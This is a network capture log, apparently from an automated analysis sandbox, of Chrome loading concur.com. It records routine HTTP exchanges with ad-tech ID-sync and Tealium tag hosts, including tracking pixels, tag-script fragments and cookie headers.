2024-10-03 08:41:39 UTC	790	OUT	GET /match/bounce/?bid=6j5b2cv&uid=77063524538646072271479213259445098681&r=https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D30064%26dpuuid%3D%7BUUID_6j5b2cv%7D HTTP/1.1 Host: ps.eyeota.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://concur.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mako_uid=192518ab642-4d730000010f5d03; SERVERID=23811~DM
2024-10-03 08:41:39 UTC	437	IN	HTTP/1.1 302 Found Connection: close Set-Cookie: SERVERID=23811~DM; Domain=eyeota.net; Path=/; Expires=Thu, 03 Oct 2024 08:51:39 GMT; Secure; SameSite=None; P3P: CP="CURa ADMa DEVa TAIo PSAo PSDo OUR SAMo BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR", policyref="http://ps.eyeota.net/w3c/p3p.xml" Location: https://dpm.demdex.net/ibs:dpid=30064&dpuuid={UUID_6j5b2cv} Content-Length: 0 Date: Thu, 03 Oct 2024 08:41:39 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49910	52.31.23.243	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:39 UTC	662	OUT	GET /ibs:dpid=903&dpuuid=74afb848-711b-4442-bde5-d7137629b408 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=77063524538646072271479213259445098681; dpm=77063524538646072271479213259445098681; dextp=21-1-1727944890685\|60-1-1727944891394\|601-1-1727944893275\|771-1-1727944893404\|903-1-1727944894402\|22052-1-1727944895926\|30064-1-1727944896405\|575-1-1727944897401
2024-10-03 08:41:39 UTC	891	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 08:41:39 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: E2NgAEVxRGY= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v065-066d677f1.edge-irl1.demdex.com 8 ms set-cookie: dpm=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:39 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:39 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-10-03 08:41:39 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49908	52.31.23.243	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:39 UTC	647	OUT	GET /ibs:dpid=22052&dpuuid=3647441516891209752 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=77063524538646072271479213259445098681; dpm=77063524538646072271479213259445098681; dextp=21-1-1727944890685\|60-1-1727944891394\|601-1-1727944893275\|771-1-1727944893404\|903-1-1727944894402\|22052-1-1727944895926\|30064-1-1727944896405\|575-1-1727944897401
2024-10-03 08:41:39 UTC	891	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 08:41:39 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: wRxd6BnFSOI= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v065-08d2bc058.edge-irl1.demdex.com 4 ms set-cookie: dpm=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:39 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:39 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-10-03 08:41:39 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49913	13.33.187.60	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:39 UTC	398	OUT	GET /utag/concur/concur/prod/utag.211.js?utv=ut4.39.202211101937 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:39 UTC	612	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 2233 Connection: close Date: Thu, 03 Oct 2024 08:41:39 GMT Last-Modified: Thu, 26 Sep 2024 17:12:43 GMT ETag: "69fa2e5361c72148b442cb02d9c7d443" x-amz-server-side-encryption: AES256 x-amz-version-id: 9e_6ApxrB26qdiFfu0.uzs294h7yibpA Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 ad82d8a80f2c6497aad660c7722475c0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: J4WSJ-LLH2Cj8SQl64JTR7PUHnTorckr7wo9khQDOSM2Kkcv7oVVDw== Age: 1 Cache-Control: max-age=1296000
2024-10-03 08:41:39 UTC	2233	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 32 31 31 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 29 7b 76 61 72 20 75 3d 7b 7d 3b 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 73 65 6e 64 65 72 5b 69 64 5d 3d 75 3b 69 66 28 75 74 61 67 2e 75 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 74 61 67 2e 75 74 3d 7b 7d 3b 7d 0a 69 66 28 75 74 61 67 2e 75 74 2e 6c 6f 61 64 65 72 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 2e 6c 6f 61 64 65 72 3d 66 75 6e 63 74 69 6f 6e Data Ascii: //tealium universal tag - utag.211 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.try{(function(id,loader){var u={};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}if(utag.ut.loader===undefined){u.loader=function

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49912	13.33.187.116	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:39 UTC	573	OUT	GET /utag/concur/concur/prod/utag.1036.js?utv=ut4.39.202007161705 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:39 UTC	611	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 5115 Connection: close Last-Modified: Thu, 26 Sep 2024 17:13:20 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: 5jJlF3sjlJOeXVCPvQ4oWbFvQvlst2O2 Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 03 Oct 2024 08:41:40 GMT ETag: "31b2ec1645180170f377cc305731183f" Vary: Accept-Encoding X-Cache: RefreshHit from cloudfront Via: 1.1 de048058a16d8205bfbc06a8f2eefb34.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: eqoKLG15zFValqo0zn4QI5Vqo7diDVRvhiaiBrVDXK8FUZWkY1v-dA== Cache-Control: max-age=1296000
2024-10-03 08:41:39 UTC	5115	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 31 30 33 36 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 29 7b 76 61 72 20 75 3d 7b 22 69 64 22 3a 69 64 7d 3b 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 73 65 6e 64 65 72 5b 69 64 5d 3d 75 3b 69 66 28 75 74 61 67 2e 75 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 74 61 67 2e 75 74 3d 7b 7d 3b 7d 0a 76 61 72 20 6d 61 74 63 68 3d 2f 75 74 5c 64 5c 2e 28 5c 64 2a 29 5c 2e 2e 2a 2f 2e 65 78 65 63 28 75 74 61 67 2e 63 66 Data Ascii: //tealium universal tag - utag.1036 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.try{(function(id,loader){var u={"id":id};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}var match=/ut\d\.(\d)\../.exec(utag.cf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49915	18.202.39.134	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:39 UTC	1152	OUT	GET /id?d_visid_ver=5.2.0&d_fieldgroup=AAM&d_rtbd=json&d_ver=2&d_orgid=3F8B2B31536CFF310A490D4C%40AdobeOrg&d_nsid=0&d_mid=77086837030265396271481667617469483305&d_blob=6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y&d_cid_ic=concuruser%011486f2f9-7a8c-4199-e491-6192cc1ca748%011&ts=1727944897751 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://www.concur.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=77063524538646072271479213259445098681; dpm=77063524538646072271479213259445098681; dextp=21-1-1727944890685\|60-1-1727944891394\|601-1-1727944893275\|771-1-1727944893404\|903-1-1727944894402\|22052-1-1727944895926\|30064-1-1727944896405\|575-1-1727944897401
2024-10-03 08:41:39 UTC	820	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 08:41:39 GMT Content-Type: application/json;charset=utf-8 Content-Length: 4334 Connection: close X-TID: w1c5qq79R08= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" Access-Control-Allow-Origin: https://www.concur.com Vary: Origin Access-Control-Allow-Credentials: true DCS: dcs-prod-irl1-1-v065-0ad7c16a0.edge-irl1.demdex.com 4 ms set-cookie: demdex=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:39 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-10-03 08:41:39 UTC	4334	IN	Data Raw: 7b 22 64 5f 6d 69 64 22 3a 22 37 37 30 38 36 38 33 37 30 33 30 32 36 35 33 39 36 32 37 31 34 38 31 36 36 37 36 31 37 34 36 39 34 38 33 33 30 35 22 2c 22 69 64 5f 73 79 6e 63 5f 74 74 6c 22 3a 36 30 34 38 30 30 2c 22 64 5f 62 6c 6f 62 22 3a 22 36 47 31 79 6e 59 63 4c 50 75 69 51 78 59 5a 72 73 7a 5f 70 6b 71 66 4c 47 39 79 4d 58 42 70 62 32 7a 58 35 64 76 4a 64 59 51 4a 7a 50 58 49 6d 64 6a 30 79 22 2c 22 64 63 73 5f 72 65 67 69 6f 6e 22 3a 36 2c 22 64 5f 6f 74 74 6c 22 3a 37 32 30 30 2c 22 69 62 73 22 3a 5b 7b 22 69 64 22 3a 22 32 31 22 2c 22 74 74 6c 22 3a 31 34 34 30 30 2c 22 74 61 67 22 3a 22 69 6d 67 22 2c 22 66 69 72 65 55 52 4c 53 79 6e 63 22 3a 30 2c 22 73 79 6e 63 4f 6e 50 61 67 65 22 3a 30 2c 22 75 72 6c 22 3a 5b 22 2f 2f 61 61 2e 61 67 6b 6e 2e Data Ascii: {"d_mid":"77086837030265396271481667617469483305","id_sync_ttl":604800,"d_blob":"6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y","dcs_region":6,"d_ottl":7200,"ibs":[{"id":"21","ttl":14400,"tag":"img","fireURLSync":0,"syncOnPage":0,"url":["//aa.agkn.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49914	13.33.187.116	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:39 UTC	573	OUT	GET /utag/concur/concur/prod/utag.1143.js?utv=ut4.39.202104161600 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:40 UTC	605	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 2056 Connection: close Date: Thu, 03 Oct 2024 08:41:41 GMT Last-Modified: Thu, 26 Sep 2024 17:13:22 GMT ETag: "ad80207d3cc7639304ef3c676c7a92c7" x-amz-server-side-encryption: AES256 x-amz-version-id: 3IBU7cXVbAIa4X.6JdU5mPBhjoswSDQk Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 dbddc07d9edf6f99394912c390c6ef32.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: XXjVYzKUHSSvMPb0zBN-WQxWmGF3miAtRshae2taM8PffRimjkVXtw== Cache-Control: max-age=1296000
2024-10-03 08:41:40 UTC	2056	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 31 31 34 33 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 29 7b 76 61 72 20 75 3d 7b 7d 3b 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 73 65 6e 64 65 72 5b 69 64 5d 3d 75 3b 69 66 28 75 74 61 67 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 74 61 67 3d 7b 7d 3b 7d 69 66 28 75 74 61 67 2e 75 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 74 61 67 2e 75 74 3d 7b 7d 3b 7d 69 66 28 75 74 61 67 2e 75 74 2e 6c 6f 61 64 65 72 3d Data Ascii: //tealium universal tag - utag.1143 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.try{(function(id,loader){var u={};utag.o[loader].sender[id]=u;if(utag===undefined){utag={};}if(utag.ut===undefined){utag.ut={};}if(utag.ut.loader=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49918	13.33.187.116	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:39 UTC	573	OUT	GET /utag/concur/concur/prod/utag.1145.js?utv=ut4.39.202404161901 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:40 UTC	605	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 3398 Connection: close Date: Thu, 03 Oct 2024 08:41:41 GMT Last-Modified: Thu, 26 Sep 2024 17:13:14 GMT ETag: "d0bfc2c6a517e33f601501cfc080c76e" x-amz-server-side-encryption: AES256 x-amz-version-id: diuXyZ6cqBuXpRuAYx3.IeIEYwCM6g41 Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 4770dda4e92393e930d8a34dcbb04db2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: EahJdsJJrNWBBI9U2HtFPHHC37oS8a7D7kNhKJBcw0Q1o85oIpYj_g== Cache-Control: max-age=1296000
2024-10-03 08:41:40 UTC	3398	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 31 31 34 35 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 29 7b 76 61 72 20 75 3d 7b 22 69 64 22 3a 69 64 7d 3b 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 73 65 6e 64 65 72 5b 69 64 5d 3d 75 3b 69 66 28 75 74 61 67 2e 75 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 74 61 67 2e 75 74 3d 7b 7d 3b 7d 0a 69 66 28 75 74 61 67 2e 75 74 2e 74 79 70 65 4f 66 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 2e 74 79 70 65 4f 66 3d Data Ascii: //tealium universal tag - utag.1145 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.try{(function(id,loader){var u={"id":id};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}if(utag.ut.typeOf===undefined){u.typeOf=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49919	13.33.187.116	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:39 UTC	573	OUT	GET /utag/concur/concur/prod/utag.1147.js?utv=ut4.39.202104222333 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:40 UTC	605	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 3090 Connection: close Date: Thu, 03 Oct 2024 08:41:41 GMT Last-Modified: Thu, 26 Sep 2024 17:13:14 GMT ETag: "38bd3ef7b0ce39fc2a7c87a6d93b477c" x-amz-server-side-encryption: AES256 x-amz-version-id: FTN4AiQVgZTPTi5XgvFDv0kO1fwsHXs6 Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 4770dda4e92393e930d8a34dcbb04db2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: 9hAehfuc5cbpyCVNubVU0amttwGyB4eoygLcpWd1DxqgsZbkLFfMKg== Cache-Control: max-age=1296000
2024-10-03 08:41:40 UTC	3090	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 31 31 34 37 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 29 7b 76 61 72 20 75 3d 7b 22 69 64 22 3a 69 64 7d 3b 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 73 65 6e 64 65 72 5b 69 64 5d 3d 75 3b 69 66 28 75 74 61 67 2e 75 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 74 61 67 2e 75 74 3d 7b 7d 3b 7d 0a 76 61 72 20 6d 61 74 63 68 3d 2f 75 74 5c 64 5c 2e 28 5c 64 2a 29 5c 2e 2e 2a 2f 2e 65 78 65 63 28 75 74 61 67 2e 63 66 Data Ascii: //tealium universal tag - utag.1147 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.try{(function(id,loader){var u={"id":id};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}var match=/ut\d\.(\d)\../.exec(utag.cf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49920	13.33.187.116	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:39 UTC	573	OUT	GET /utag/concur/concur/prod/utag.1181.js?utv=ut4.39.202110112035 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:40 UTC	605	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 3958 Connection: close Date: Thu, 03 Oct 2024 08:41:41 GMT Last-Modified: Thu, 26 Sep 2024 17:13:18 GMT ETag: "c4263a60b364d9625de67fb75e0eb608" x-amz-server-side-encryption: AES256 x-amz-version-id: nRRa5yOQd6SzIV0B1wvCBCRyiCl2vscV Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 c15415cccc7260d4bd35b1ca2c497c96.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: zX9pFHrn_8A9tiK8O_S_kp8ovB7kOkn3J2FTKWmIKV0gSKXxTlZdaw== Cache-Control: max-age=1296000
2024-10-03 08:41:40 UTC	3958	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 31 31 38 31 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 29 7b 76 61 72 20 75 3d 7b 7d 3b 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 73 65 6e 64 65 72 5b 69 64 5d 3d 75 3b 69 66 28 75 74 61 67 2e 75 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 74 61 67 2e 75 74 3d 7b 7d 3b 7d 69 66 28 75 74 61 67 2e 75 74 2e 6c 6f 61 64 65 72 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 2e 6c 6f 61 64 65 72 3d 66 75 6e 63 74 69 6f 6e Data Ascii: //tealium universal tag - utag.1181 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.try{(function(id,loader){var u={};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}if(utag.ut.loader===undefined){u.loader=function

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49922	46.137.24.228	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
